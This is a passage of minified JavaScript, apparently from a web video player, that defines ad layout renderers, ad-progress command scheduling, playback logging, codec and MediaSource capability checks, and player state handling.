Wv=function(x,T,t,u,H,I,E,Z){R7.call(this,x,T,t,u);this.RU=H;this.jg=I;this.D=Z;this.KK=!0;this.K=null;this.T=uS(t.clientMetadata,"metadata_type_linked_player_bytes_layout_id");lS(this.jg(),this);x=uS(t.clientMetadata,"metadata_type_ad_placement_config");this.eY=new z$(t.uN,this.RU,x,t.layoutId)};
c3D=function(){var x=["metadata_type_image_companion_ad_renderer","metadata_type_linked_player_bytes_layout_id"];km().forEach(function(T){x.push(T)});
return{yI:x,jV:["LAYOUT_TYPE_COMPANION_WITH_IMAGE"]}};
YV3=function(x,T,t,u,H){u9.call(this,"shopping-companion",x,T,t,u,H)};
Dk=function(x,T,t,u,H,I,E,Z){R7.call(this,x,T,t,u);this.RU=H;this.jg=I;this.D=Z;this.KK=!0;this.K=null;this.T=uS(t.clientMetadata,"metadata_type_linked_player_bytes_layout_id");lS(this.jg(),this);x=uS(t.clientMetadata,"metadata_type_ad_placement_config");this.eY=new z$(t.uN,this.RU,x,t.layoutId)};
USD=function(){var x=["metadata_type_shopping_companion_carousel_renderer","metadata_type_linked_player_bytes_layout_id"];km().forEach(function(T){x.push(T)});
return{yI:x,jV:["LAYOUT_TYPE_COMPANION_WITH_SHOPPING"]}};
bKX=function(x){var T;if(((T=x.adVideoOffset)==null?void 0:T.kind)!=="AD_VIDEO_PROGRESS_KIND_PERCENT")return!1;var t;return((t=x.adVideoOffset)==null?void 0:t.percent)!=null};
r3X=function(x){var T;if(((T=x.adVideoOffset)==null?void 0:T.kind)!=="AD_VIDEO_PROGRESS_KIND_MILLISECONDS")return!1;var t;return((t=x.adVideoOffset)==null?void 0:t.milliseconds)!=null&&!isNaN(Number(x.adVideoOffset.milliseconds))};
zJi=function(x,T,t,u){this.Rf=x;this.layoutId=t;this.T=u;this.Z=[];this.C=[];this.j=this.K=0;x=g.S(T);for(T=x.next();!T.done;T=x.next())switch(T=T.value,t=void 0,(t=T.adVideoOffset)==null?void 0:t.kind){case "AD_VIDEO_PROGRESS_KIND_PERCENT":bKX(T)?this.Z.push(T):E3("Invalid AdVideoProgressPercentCommand");break;case "AD_VIDEO_PROGRESS_KIND_MILLISECONDS":r3X(T)?this.C.push(T):E3("Invalid AdVideoProgressMillisecondsCommand");break;default:E3("Unknown or invalid AdVideoProgressOffSet kind")}this.Z.sort(function(H,
I){return H.adVideoOffset.percent-I.adVideoOffset.percent});
this.C.sort(function(H,I){return Number(H.adVideoOffset.milliseconds)-Number(I.adVideoOffset.milliseconds)})};
yg=function(x,T,t){t=t===void 0?!1:t;var u=x.T();if(u){for(;x.K<x.Z.length;){var H=x.Z[x.K];if(H.adVideoOffset.percent*u<=T||t)x.Rf.get().executeCommand(H.command,x.layoutId),x.K++;else break}for(;x.j<x.C.length;)if(u=x.C[x.j],Number(u.adVideoOffset.milliseconds)<=T||t)x.Rf.get().executeCommand(u.command,x.layoutId),x.j++;else break}};
NA=function(x,T,t,u,H,I){R7.call(this,x,T,t,u);this.RU=H;this.jg=I;this.KK=!0;lS(this.jg(),this);x=uS(t.clientMetadata,"metadata_type_ad_placement_config");this.eY=new z$(t.uN,this.RU,x,t.layoutId)};
kQH=function(){var x=["metadata_type_action_companion_ad_renderer"];km().forEach(function(T){x.push(T)});
return{yI:x,jV:["LAYOUT_TYPE_COMPANION_WITH_ACTION_BUTTON"]}};
Fo3=function(x,T,t,u,H,I,E,Z){this.callback=x;this.slot=T;this.layout=t;this.IU=u;this.RU=H;this.Lf=E;this.H9=Z;this.C=!1;x=uS(t.clientMetadata,"metadata_type_ad_placement_config");this.eY=new z$(t.uN,this.RU,x,t.layoutId);var e;x=((e=uS(this.layout.clientMetadata,"METADATA_TYPE_INTERACTIONS_AND_PROGRESS_LAYOUT_COMMANDS"))==null?void 0:e.progressCommands)||[];var l=uS(t.clientMetadata,"METADATA_TYPE_MEDIA_LAYOUT_DURATION_seconds");this.Z=new zJi(I,x,t.layoutId,function(){return l*1E3})};
Je=function(x,T,t,u,H,I){R7.call(this,x,T,t,u);this.IU=H;this.T=I;this.K=!1};
CH=function(x,T,t,u,H){u9.call(this,"top-banner-image-text-icon-buttoned",x,T,t,u,H)};
Qg=function(x,T,t,u,H,I){R7.call(this,x,T,t,u);this.RU=H;this.jg=I;this.KK=!0;lS(this.jg(),this);x=uS(t.clientMetadata,"metadata_type_ad_placement_config");this.eY=new z$(t.uN,this.RU,x,t.layoutId)};
hJ4=function(){var x=["metadata_type_top_banner_image_text_icon_buttoned_layout_view_model"];km().forEach(function(T){x.push(T)});
return{yI:x,jV:["LAYOUT_TYPE_COMPANION_WITH_ACTION_BUTTON"]}};
pH=function(x,T,t){u9.call(this,"display-underlay-text-grid-cards",x,{},T,t);this.interactionLoggingClientData=t};
Ou=function(x,T,t,u,H,I){R7.call(this,x,T,t,u);this.RU=H;this.K=I;this.T=uS(this.layout.clientMetadata,"metadata_type_linked_player_bytes_layout_id")};
fH=function(x,T,t,u,H,I){H=H===void 0?!1:H;I=I===void 0?!1:I;u9.call(this,"ad-action-interstitial",x,T,t,u);this.interactionLoggingClientData=u;this.cq=H;this.h_=I};
w6=function(x,T,t,u,H){R7.call(this,x,T,t,u);x=uS(t.clientMetadata,"metadata_type_ad_placement_config");this.eY=new z$(t.uN,H,x,t.layoutId)};
vBq=function(){var x=["metadata_type_ad_action_interstitial_renderer"];km().forEach(function(T){x.push(T)});
return{yI:x,jV:["LAYOUT_TYPE_ENDCAP"]}};
KH=function(x,T){return TZ(x,T.yI,T.jV)?!0:!1};
Xv=function(x,T,t){this.Z=x;this.j=T;this.C=t};
VbD=function(x,T,t,u,H){u9.call(this,"ads-engagement-panel",x,T,t,u,H)};
xX=function(x,T,t,u,H,I,E,Z){R7.call(this,x,T,t,u);this.RU=H;this.jg=I;this.D=Z;this.KK=!0;this.K=null;this.T=uS(t.clientMetadata,"metadata_type_linked_player_bytes_layout_id");lS(this.jg(),this);x=uS(t.clientMetadata,"metadata_type_ad_placement_config");this.eY=new z$(t.uN,this.RU,x,t.layoutId)};
GQi=function(){var x=["metadata_type_ads_engagement_panel_renderer","metadata_type_linked_player_bytes_layout_id"];km().forEach(function(T){x.push(T)});
return{yI:x,jV:["LAYOUT_TYPE_PANEL_TEXT_ICON_IMAGE_TILES_BUTTON"]}};
TY=function(x,T,t,u,H,I,E,Z){R7.call(this,x,T,t,u);this.RU=H;this.jg=I;this.D=Z;this.KK=!0;this.K=null;this.T=uS(t.clientMetadata,"metadata_type_linked_player_bytes_layout_id");lS(this.jg(),this);this.adPlacementConfig=uS(t.clientMetadata,"metadata_type_ad_placement_config");this.eY=new z$(t.uN,this.RU,this.adPlacementConfig,t.layoutId)};
Lo3=function(){var x=["metadata_type_top_banner_image_text_icon_buttoned_layout_view_model","metadata_type_linked_player_bytes_layout_id"];km().forEach(function(T){x.push(T)});
return{yI:x,jV:["LAYOUT_TYPE_COMPANION_WITH_ACTION_BUTTON"]}};
nBV=function(x,T,t,u,H){this.UF=x;this.RU=T;this.jg=t;this.C=u;this.H9=H};
aJH=function(x,T,t){this.UF=x;this.RU=T;this.C=t};
gB5=function(x,T,t,u,H){this.callback=x;this.slot=T;this.layout=t;this.RU=u;this.Am=H;x=uS(this.layout.clientMetadata,"metadata_type_ad_placement_config");this.eY=new z$(t.uN,this.RU,x,t.layoutId)};
BrD=function(){var x=["metadata_type_client_forecasting_ad_renderer"];km().forEach(function(T){x.push(T)});
return{yI:x,jV:["LAYOUT_TYPE_FORECASTING"]}};
WoD=function(x,T,t,u,H){this.callback=x;this.slot=T;this.layout=t;this.RU=u;this.Am=H;x=uS(this.layout.clientMetadata,"metadata_type_ad_placement_config");this.eY=new z$(t.uN,this.RU,x,t.layoutId)};
oS=function(x,T,t,u){this.Lf=x;this.RU=T;this.Am=t;this.H9=u};
DSf=function(x,T){return xv(x.clientMetadata,"metadata_type_ad_info_ad_metadata")?uS(x.clientMetadata,"metadata_type_ad_info_ad_metadata"):T?{channelId:T.dP,channelThumbnailUrl:T.profilePicture,channelTitle:T.author,videoTitle:T.title}:(E3("No layout metadata nor AdPlayback specified for AdMetaData"),{channelId:"",channelThumbnailUrl:"",channelTitle:"",videoTitle:""})};
y35=function(x,T){return xv(x.clientMetadata,"metadata_ad_video_is_listed")?uS(x.clientMetadata,"metadata_ad_video_is_listed"):T?T.isListed:(E3("No layout metadata nor AdPlayback specified for ad video isListed"),!1)};
NrD=function(x,T,t,u){u9.call(this,"player-overlay-layout",x,{},t,u);this.videoAdDurationSeconds=T;this.interactionLoggingClientData=u};
tE=function(x,T,t,u,H,I,E,Z){R7.call(this,x,T,t,u);this.IU=H;this.RU=I;this.D=E;this.T=Z;this.K=!1;this.N=uS(this.layout.clientMetadata,"metadata_type_linked_player_bytes_layout_id")};
J3f=function(x){if(x.layout.renderingContent){var T;return(T=uS(x.layout.clientMetadata,"metadata_type_player_bytes_callback_ref"))==null?void 0:T.current}return uS(x.layout.clientMetadata,"metadata_type_player_bytes_callback")};
sq=function(x,T,t,u,H,I,E,Z){R7.call(this,x,T,t,u);this.IU=H;this.RU=I;this.D=E;this.T=Z;this.K=!1;this.N=uS(this.layout.clientMetadata,"metadata_type_linked_player_bytes_layout_id")};
C93=function(){return{yI:["metadata_type_instream_ad_player_overlay_renderer","metadata_type_player_bytes_callback","metadata_type_linked_player_bytes_layout_id","METADATA_TYPE_MEDIA_LAYOUT_DURATION_seconds"],jV:["LAYOUT_TYPE_MEDIA_LAYOUT_PLAYER_OVERLAY"]}};
uF=function(x){if(x.layout.renderingContent){var T;return(T=uS(x.layout.clientMetadata,"metadata_type_player_bytes_callback_ref"))==null?void 0:T.current}return uS(x.layout.clientMetadata,"metadata_type_player_bytes_callback")};
Q45=function(x,T,t){u9.call(this,"ad-message",x,void 0,T,t)};
$X=function(x,T,t,u,H,I){R7.call(this,t,x,T,u);this.IU=H;this.Lf=I};
pav=function(){return{yI:["metadata_type_valid_ad_message_renderer"],jV:["LAYOUT_TYPE_TEXT_BANNER_OVERLAY"]}};
OK4=function(x,T,t,u){u9.call(this,"video-interstitial-buttoned-centered",x,T,t,u);this.interactionLoggingClientData=u};
HU=function(x,T,t,u,H){R7.call(this,x,T,t,u);x=uS(t.clientMetadata,"metadata_type_ad_placement_config");this.eY=new z$(t.uN,H,x,t.layoutId)};
Z6=function(x,T,t,u,H,I,E,Z,e){return KH(t,C93())||t.layoutType==="LAYOUT_TYPE_MEDIA_LAYOUT_PLAYER_OVERLAY"&&g.N(t.renderingContent,iF)!==void 0?new sq(x,T,t,u,H,I,E,Z):KH(t,{yI:["metadata_type_player_overlay_layout_renderer","metadata_type_player_bytes_callback","metadata_type_linked_player_bytes_layout_id","METADATA_TYPE_MEDIA_LAYOUT_DURATION_seconds"],jV:["LAYOUT_TYPE_MEDIA_LAYOUT_PLAYER_OVERLAY"]})||t.layoutType==="LAYOUT_TYPE_MEDIA_LAYOUT_PLAYER_OVERLAY"&&g.N(t.renderingContent,IS)!==void 0?
new tE(x,T,t,u,H,I,E,Z):KH(t,vBq())||t.layoutType==="LAYOUT_TYPE_ENDCAP"&&g.N(t.renderingContent,Eq)!==void 0?new w6(x,T,t,u,I):KH(t,pav())?new $X(T,t,x,u,H,e):KH(t,{yI:["metadata_type_instream_ad_player_overlay_renderer"],jV:["LAYOUT_TYPE_MEDIA_LAYOUT_PLAYER_OVERLAY"]})?new Je(x,T,t,u,H,Z):t.layoutType==="LAYOUT_TYPE_ENDCAP"&&g.N(t.renderingContent,qu)!==void 0?new HU(x,T,t,u,I):null};
fJm=function(x,T,t,u,H,I){this.UF=x;this.IU=T;this.RU=t;this.Z=u;this.C=H;this.Lf=I};
jf=function(x){return!x.oldState.isPlaying()&&x.state.isPlaying()};
ef=function(x,T,t){return x<T?!1:t!=null?t<=T:x<=T+1};
lF=function(x,T,t,u,H,I,E,Z){this.callback=x;this.slot=T;this.layout=t;this.IU=u;this.RU=H;this.Lf=I;this.H9=E;this.Bv=Z;this.C=!1;x=uS(t.clientMetadata,"metadata_type_ad_placement_config");this.eY=new z$(t.uN,this.RU,x,t.layoutId)};
mc=function(x,T){x.C||(x.eY.W9(T),x.C=!0)};
wa3=function(x,T,t,u,H,I){this.IU=x;this.RU=T;this.Rf=t;this.Lf=u;this.H9=H;this.Bv=I};
d4=function(){this.currentState=1;this.C="unknown"};
Mu=function(x,T){if(x.currentState>1){g.Vh(new g.CS("Exit already started",{current:x.currentState}));var t=!1}else t=!0;if(!t)return!1;x.currentState=2;x.C=T;return!0};
AE=function(x){if(x.currentState!==2)return!1;x.currentState=3;return!0};
Kom=function(x,T){var t=new Map;x=g.S(x);for(var u=x.next();!u.done;u=x.next()){u=u.value;if(u.layoutType==="LAYOUT_TYPE_MEDIA")var H="v";else u.layoutType==="LAYOUT_TYPE_MEDIA_BREAK"?(H=uS(u.clientMetadata,"metadata_type_linked_in_player_layout_type"),H=H==="LAYOUT_TYPE_ENDCAP"||H==="LAYOUT_TYPE_VIDEO_INTERSTITIAL"?"e":H==="LAYOUT_TYPE_SURVEY"?"s":H==="LAYOUT_TYPE_VIDEO_INTERSTITIAL_BUTTONED_LEFT"?"si":"u"):H="u";t.set(u.layoutId,H);if(H==="u"){var I={};H=T;u=(I.c=u.layoutId,I);H.U.kc("uct",u)}}x=
T.fB();RS={contentCpn:x,Yq:t};u={};t=(u.ct=t.size,u.c=x,u);T.U.kc("acc",t)};
Xa3=function(){RS={contentCpn:"",Yq:new Map}};
PU=function(x){var T;return(T=RS.Yq.get(x))!=null?T:"u"};
Sf=function(x,T,t){x.U.kc(T,t);xaf(x)};
TJi=function(x){var T=x.layoutId,t=x.M_;if(x.dR){var u={};Sf(x.LC,"slso",(u.ec=T,u.is=t,u.ctp=PU(T),u))}};
cU=function(x){var T=x.layoutId,t=x.M_;if(x.dR){var u={};Sf(x.LC,"slse",(u.ec=T,u.is=t,u.ctp=PU(T),u))}};
or5=function(x){var T=x.layoutId,t=x.M_,u=x.LC;x.dR&&(x={},Sf(u,"sleo",(x.xc=T,x.is=t,x.ctp=PU(T),x)),xaf(u))};
t1m=function(x){var T=x.cpn,t=x.LC;x=x.M_;var u=t.fB(),H={};Sf(t,"ce",(H.ec=T,H.ia=T!==u,H.r=RS.Yq.has(T),H.is=x,H.ctp=PU(T),H))};
xaf=function(x){if(x.fB()!==RS.contentCpn){var T={};T=(T.c=RS.contentCpn,T);x.U.kc("ccm",T)}};
snV=function(x){var T=x.cpn,t=x.LC;x=x.M_;var u=t.fB(),H={};Sf(t,"cx",(H.xc=T,H.ia=T!==u,H.r=RS.Yq.has(T),H.is=x,H.ctp=PU(T),H))};
uui=function(x){this.params=x;this.C=new Set};
$a5=function(x,T,t){if(!x.C.has(T)){x.C.add(T);var u={};x.params.kz.Kz(T,Object.assign({},t,(u.p_ac=x.params.adCpn,u.p_isv=x.params.pvj&&x.params.Zo,u)))}};
Uq=function(x,T,t){if(YX(x.params.kz.Lf.get(),!0)){var u=t.flush,H={};$a5(x,T,(H.cts=t.currentTimeSec,H.f=u,H))}};
H25=function(x,T){this.LC=x;this.Lf=T};
bF=function(x){var T=[];if(x){x=g.S(Object.entries(x));for(var t=x.next();!t.done;t=x.next()){var u=g.S(t.value);t=u.next().value;u=u.next().value;u!==void 0&&(u=typeof u==="boolean"?""+ +u:(""+u).replace(/[:,=]/g,"_"),T.push(t+"."+u))}}return T.join(";")};
r4=function(x,T,t){T=T===void 0?{}:T;this.errorCode=x;this.details=T;this.severity=t===void 0?0:t};
zY=function(x){return x===1||x===2};
kX=function(x,T){T=T===void 0?0:T;if(x instanceof r4)return x;x=x&&x instanceof Error?x:Error(""+x);zY(T)?g.vW(x):g.Vh(x);return new r4(T===1?"player.fatalexception":"player.exception",{name:""+x.name,message:""+x.message},T)};
i2D=function(x,T){function t(){var u=g.FD.apply(0,arguments);x.removeEventListener("playing",t);T.apply(null,g.U(u))}
x.addEventListener("playing",t)};
Ft=function(){var x=g.yJ("yt.player.utils.videoElement_");x||(x=g.Xn("VIDEO"),g.DC("yt.player.utils.videoElement_",x));return x};
hE=function(x){var T=Ft();return!!(T&&T.canPlayType&&T.canPlayType(x))};
VV=function(x){if(/opus/.test(x)&&g.vU&&!YP("38")&&!g.N2())return!1;if(window.MediaSource&&window.MediaSource.isTypeSupported)return window.MediaSource.isTypeSupported(x);if(window.ManagedMediaSource&&window.ManagedMediaSource.isTypeSupported)return window.ManagedMediaSource.isTypeSupported(x);if(/webm/.test(x)&&!ROC())return!1;x==='audio/mp4; codecs="mp4a.40.2"'&&(x='video/mp4; codecs="avc1.4d401f"');return!!hE(x)};
IyH=function(x){try{var T=VV('video/mp4; codecs="avc1.42001E"')||VV('video/webm; codecs="vp9"');return(VV('audio/mp4; codecs="mp4a.40.2"')||VV('audio/webm; codecs="opus"'))&&(T||!x)||hE('video/mp4; codecs="avc1.42001E, mp4a.40.2"')?null:"fmt.noneavailable"}catch(t){return"html5.missingapi"}};
GY=function(){var x=Ft();return!(!x.webkitSupportsPresentationMode||typeof x.webkitSetPresentationMode!=="function")};
Lj=function(){var x=Ft();try{var T=x.muted;x.muted=!T;return x.muted!==T}catch(t){}return!1};
Erf=function(){var x;return((x=navigator.connection)==null?void 0:x.type)||""};
g.nj=function(){bj.apply(this,arguments)};
aS=function(x,T,t,u,H,I,E){this.sampleRate=x===void 0?0:x;this.numChannels=T===void 0?0:T;this.spatialAudioType=t===void 0?"SPATIAL_AUDIO_TYPE_NONE":t;this.C=u===void 0?!1:u;this.j=H===void 0?0:H;this.Z=I===void 0?0:I;this.audioQuality=E===void 0?"AUDIO_QUALITY_UNKNOWN":E};
WU=function(x,T,t,u,H,I,E,Z,e){this.width=x;this.height=T;this.quality=I||g4(x,T);this.C=g.BU[this.quality];this.fps=t||0;this.stereoLayout=!H||u!=null&&u!=="UNKNOWN"&&u!=="RECTANGULAR"?0:H;this.projectionType=u?u==="EQUIRECTANGULAR"&&H===2?"EQUIRECTANGULAR_THREED_TOP_BOTTOM":u:"UNKNOWN";(x=E)||(x=g.BU[this.quality],x===0?x="Auto":(T=this.fps,t=this.projectionType,x=x.toString()+(t==="EQUIRECTANGULAR"||t==="EQUIRECTANGULAR_THREED_TOP_BOTTOM"||t==="MESH"?"s":"p")+(T>55?"60":T>49?"50":T>39?"48":"")));
this.qualityLabel=x;this.Z=Z||"";this.primaries=e||""};
g4=function(x,T){var t=Math.max(x,T);x=Math.min(x,T);T=D6[0];for(var u=0;u<D6.length;u++){var H=D6[u],I=g.BU[H];if(t>=Math.floor(I*16/9)*1.3||x>=I*1.3)return T;T=H}return"tiny"};
JE=function(x,T,t){t=t===void 0?{}:t;this.id=x;this.mimeType=T;t.Zp>0||(t.Zp=16E3);Object.assign(this,t);x=g.S(this.id.split(";"));this.itag=x.next().value;this.C=x.next().value;this.containerType=yV(T);this.Wv=Nu[this.itag]||""};
Cj=function(x){return x.Wv==="9"||x.Wv==="("||x.Wv==="9h"||x.Wv==="(h"};
q3X=function(x){return x.Wv==="H"||x.Wv==="h"};
QV=function(x){return x.Wv==="9h"||x.Wv==="(h"};
Z2H=function(x){return!!x.wb&&!!x.wb.fairplay&&(x.Wv==="("||x.Wv==="(h"||x.Wv==="A"||x.Wv==="MEAC3")||pj&&!!x.wb&&x.Wv==="1e"};
Oq=function(x){return x.Wv==="1"||x.Wv==="1h"||pj&&x.Wv==="1e"};
fj=function(x){return x.Wv==="mac3"||x.Wv==="meac3"||x.Wv==="m"||x.Wv==="i"};
w4=function(x){return x.Wv==="MAC3"||x.Wv==="MEAC3"||x.Wv==="M"||x.Wv==="I"};
g.Kj=function(x){return x.containerType===1};
jn5=function(x){return x.Wv==="("||x.Wv==="(h"||x.Wv==="H"||pj&&x.Wv==="1e"};
Xt=function(x){return x.mimeType==="application/x-mpegURL"};
g.xj=function(x,T){return{itag:+x.itag,lmt:T?0:x.lastModified,xtags:x.C||""}};
e_H=function(x){var T=navigator.mediaCapabilities;if(T==null||!T.decodingInfo||x.Wv==="f")return Promise.resolve();var t={type:x.audio&&x.video?"file":"media-source"};x.video&&(t.video={contentType:x.mimeType,width:x.video.width||640,height:x.video.height||360,bitrate:x.Zp*8||1E6,framerate:x.video.fps||30});x.audio&&(t.audio={contentType:x.mimeType,channels:""+(x.audio.numChannels||2),bitrate:x.Zp*8||128E3,samplerate:x.audio.sampleRate||44100});return T.decodingInfo(t).then(function(u){x.Z=u})};
Ty=function(x){return/(opus|mp4a|dtse|ac-3|ec-3|iamf)/.test(x)};
oE=function(x){return/(vp9|vp09|vp8|avc1|av01)/.test(x)};
t0=function(x){return x.includes("vtt")||x.includes("text/mp4")};
yV=function(x){return x.indexOf("/mp4")>=0?1:x.indexOf("/webm")>=0?2:x.indexOf("/x-flv")>=0?3:x.indexOf("/vtt")>=0?4:0};
sc=function(x,T,t,u,H,I){var E=new aS;T in g.BU||(T="small");T==="light"&&(T="tiny");u&&H?(H=Number(H),u=Number(u)):(H=g.BU[T],u=Math.round(H*16/9));I=new WU(u,H,0,null,void 0,T,I);x=unescape(x.replace(/&quot;/g,'"'));return new JE(t,x,{audio:E,video:I})};
uK=function(x){var T="id="+x.id;x.video&&(T+=", res="+x.video.qualityLabel);var t,u;return T+", byterate=("+((t=x.R5)==null?void 0:t.toFixed(0))+", "+((u=x.Zp)==null?void 0:u.toFixed(0))+")"};
Hp=function(x,T){return{start:function(t){return x[t]},
end:function(t){return T[t]},
length:x.length}};
lyq=function(x,T,t){for(var u=[],H=[],I=0;I<x.length;I++)u.push(x.start(I)),H.push(x.end(I));u.push(T);H.push(t);u.sort(function(E,Z){return E-Z});
H.sort(function(E,Z){return E-Z});
return Hp(u,H)};
iK=function(x,T,t){T=T===void 0?",":T;t=t===void 0?x?x.length:0:t;var u=[];if(x)for(t=Math.max(x.length-t,0);t<x.length;t++)u.push(x.start(t).toFixed(3)+"-"+x.end(t).toFixed(3));return u.join(T)};
IE=function(x,T){if(!x)return-1;try{for(var t=0;t<x.length;t++)if(x.start(t)<=T&&x.end(t)>=T)return t}catch(u){}return-1};
Ec=function(x,T){return IE(x,T)>=0};
mam=function(x,T){if(!x)return NaN;T=IE(x,T);return T>=0?x.start(T):NaN};
qG=function(x,T){if(!x)return NaN;T=IE(x,T);return T>=0?x.end(T):NaN};
ZD=function(x){return x&&x.length?x.end(x.length-1):NaN};
jc=function(x,T){x=qG(x,T);return x>=0?x-T:0};
ec=function(x,T,t){for(var u=[],H=[],I=0;I<x.length;I++)x.end(I)<T||x.start(I)>t||(u.push(Math.max(T,x.start(I))-T),H.push(Math.min(t,x.end(I))-T));return Hp(u,H)};
lK=function(x,T,t,u){g.$B.call(this);var H=this;this.oW=x;this.start=T;this.end=t;this.isActive=u;this.appendWindowStart=0;this.appendWindowEnd=Infinity;this.timestampOffset=0;this.Ln={error:function(){!H.T9()&&H.isActive&&H.publish("error",H)},
updateend:function(){!H.T9()&&H.isActive&&H.publish("updateend",H)}};
this.oW.gR(this.Ln);this.Ko=this.isActive};
MG=function(x,T,t,u,H,I){g.$B.call(this);var E=this;this.qJ=x;this.cM=T;this.id=t;this.containerType=u;this.Wv=H;this.Zo=I;this.gB=this.GS=this.jx=null;this.Uc=!1;this.appendWindowStart=this.timestampOffset=0;this.gM=Hp([],[]);this.sA=!1;this.F4=[];this.h2=mX?[]:void 0;this.uI=function(e){return E.publish(e.type,E)};
var Z;if((Z=this.qJ)==null?0:Z.addEventListener)this.qJ.addEventListener("updateend",this.uI),this.qJ.addEventListener("error",this.uI)};
A0=function(){return window.SourceBuffer?!!SourceBuffer.prototype.changeType:!1};
RE=function(x,T){this.QA=x;this.C=T===void 0?!1:T;this.Z=!1};
CQ=function(x,T,t){t=t===void 0?!1:t;g.W.call(this);this.mediaElement=x;this.FW=T;this.isView=t;this.D=0;this.K=!1;this.T=!0;this.S=0;this.callback=null;this.J=!1;this.FW||(this.cM=this.mediaElement.yA());this.events=new g.nj(this);g.y(this,this.events);this.j=new RE(this.FW?window.URL.createObjectURL(this.FW):this.cM.webkitMediaSourceURL,!0);x=this.FW||this.cM;rx(this.events,x,["sourceopen","webkitsourceopen"],this.i4Y);rx(this.events,x,["sourceclose","webkitsourceclose"],this.SYm);this.N={updateend:this.mU}};
da4=function(){return!!(window.MediaSource||window.ManagedMediaSource||window.WebKitMediaSource||window.HTMLMediaElement&&HTMLMediaElement.prototype.webkitSourceAddId)};
M1i=function(x,T){Q5(x)?g.IZ(function(){T(x)}):x.callback=T};
A93=function(x,T,t){if(pQ){var u;Oc(x.mediaElement,{l:"mswssb",sr:(u=x.mediaElement.Em)==null?void 0:u.WE()},!1);T.gR(x.N,x);t.gR(x.N,x)}x.C=T;x.Z=t;g.y(x,T);g.y(x,t)};
R_v=function(x,T,t,u){u=T.mimeType+(u===void 0?"":u);var H=t.mimeType;T=T.Wv;t=t.Wv;var I;x.ZZ=(I=x.FW)==null?void 0:I.addSourceBuffer(H);var E;x.jY=u.split(";")[0]==="fakesb"?void 0:(E=x.FW)==null?void 0:E.addSourceBuffer(u);x.cM&&(x.cM.webkitSourceAddId("0",H),x.cM.webkitSourceAddId("1",u));I=new MG(x.ZZ,x.cM,"0",yV(H),t,!1);u=new MG(x.jY,x.cM,"1",yV(u),T,!0);A93(x,I,u)};
fQ=function(x){return!!x.C||!!x.Z};
Q5=function(x){try{return wo(x)==="open"}catch(T){return!1}};
wo=function(x){if(x.FW)return x.FW.readyState;switch(x.cM.webkitSourceState){case x.cM.SOURCE_OPEN:return"open";case x.cM.SOURCE_ENDED:return"ended";default:return"closed"}};
KQ=function(){return!(!window.MediaSource||!window.MediaSource.isTypeSupported)||window.ManagedMediaSource};
PJv=function(x){Q5(x)&&(x.FW?x.FW.endOfStream():x.cM.webkitSourceEndOfStream(x.cM.EOS_NO_ERROR))};
S3C=function(x,T,t,u){if(!x.C||!x.Z)return null;var H=x.C.isView()?x.C.oW:x.C,I=x.Z.isView()?x.Z.oW:x.Z,E=new CQ(x.mediaElement,x.FW,!0);E.j=x.j;A93(E,new lK(H,T,t,u),new lK(I,T,t,u));Q5(x)||x.C.L7(x.C.Pk());return E};
c9v=function(x){var T;(T=x.C)==null||T.bH();var t;(t=x.Z)==null||t.bH();x.T=!1};
XG=function(){var x=this;this.wJ=this.mm=hv5;this.promise=new g.lf(function(T,t){x.mm=T;x.wJ=t})};
xl=function(){g.W.call(this);this.F7=!1;this.QA=null;this.N=this.D=!1;this.K=new g.wv;this.Em=null;g.y(this,this.K)};
Tj=function(x){x=x.qB();return x.length<1?NaN:x.end(x.length-1)};
Y3V=function(x){!x.Z&&da4()&&(x.j?x.j.then(function(){return Y3V(x)}):x.Ld()||(x.Z=x.My()))};
UaD=function(x){x.Z&&(x.Z.dispose(),x.Z=void 0)};
Oc=function(x,T,t){var u;((u=x.Em)==null?0:u.AM())&&x.Em.kc("rms",T,t===void 0?!1:t)};
b2f=function(x,T,t){x.isPaused()||x.getCurrentTime()>T||t>10||(x.play(),g.lP(function(){b2f(x,x.getCurrentTime(),t+1)},500))};
r93=function(x,T){x.QA&&x.QA.RH(T)||(x.QA&&x.QA.dispose(),x.QA=T)};
oG=function(x){return jc(x.kp(),x.getCurrentTime())};
z_4=function(x,T){if(x.LB()===0||x.hasError())return!1;var t=x.getCurrentTime()>0;return T>=0&&(x=x.qB(),x.length||!t)?Ec(x,T):t};
tH=function(x){x.Ld()&&(x.Em&&x.Em.Tq("rs_s"),CM&&x.getCurrentTime()>0&&x.seekTo(0),x.vC(),x.load(),r93(x,null));delete x.j};
s1=function(x){switch(x.Yp()){case 2:return"progressive.net.retryexhausted";case 3:return x=x.HU(),(x==null?0:x.includes("MEDIA_ERR_CAPABILITY_CHANGED"))||kK3&&(x==null?0:x.includes("audio_output_change"))?"capability.changed":"fmt.decode";case 4:return"fmt.unplayable";case 5:return"drm.unavailable";case 1E3:return"capability.changed";default:return null}};
g.uZ=function(x,T,t){this.Eo=T===void 0?null:T;this.seekSource=t===void 0?null:t;this.state=x||64};
$l=function(x,T,t){t=t===void 0?!1:t;return F6D(x,T.getCurrentTime(),(0,g.bo)(),oG(T),t)};
H0=function(x,T,t,u){if(!(T===x.state&&t===x.Eo&&u===x.seekSource||T!==void 0&&(T&128&&!t||T&2&&T&16))){var H;if(H=T)H=T||x.state,H=!!(H&16||H&32);x=new g.uZ(T,t,H?u?u:x.seekSource:null)}return x};
iZ=function(x,T,t){return H0(x,x.state|T,null,t===void 0?null:t)};
IG=function(x,T){return H0(x,x.state&~T,null,null)};
E1=function(x,T,t,u){return H0(x,(x.state|T)&~t,null,u===void 0?null:u)};
g.p=function(x,T){return!!(x.state&T)};
g.qW=function(x,T){return T.state===x.state&&T.Eo===x.Eo};
Zz=function(x){return x.isPlaying()&&!g.p(x,16)&&!g.p(x,32)};
je=function(x){return g.p(x,128)?-1:g.p(x,2)?0:g.p(x,2048)?3:g.p(x,64)?-1:g.p(x,1)&&!g.p(x,32)?3:g.p(x,8)?1:g.p(x,4)?2:-1};
lZ=function(x,T,t,u,H,I,E,Z,e,l,m,d,M,A,R,Y,b){g.W.call(this);var z=this;this.cB=x;this.slot=T;this.layout=t;this.RU=u;this.H9=H;this.Bv=I;this.IU=E;this.MU=Z;this.Rf=e;this.jU=l;this.position=d;this.D=M;this.Lf=A;this.R9=R;this.WM=Y;this.context=b;this.KK=!0;this.T=!1;this.EF="not_rendering";this.Z=!1;this.j=new d4;x=uS(this.layout.clientMetadata,"metadata_type_ad_placement_config");this.eY=new z$(t.uN,this.RU,x,t.layoutId);var F;x=((F=ee(this))==null?void 0:F.progressCommands)||[];this.K=new zJi(e,
x,t.layoutId,function(){return z.RI()});
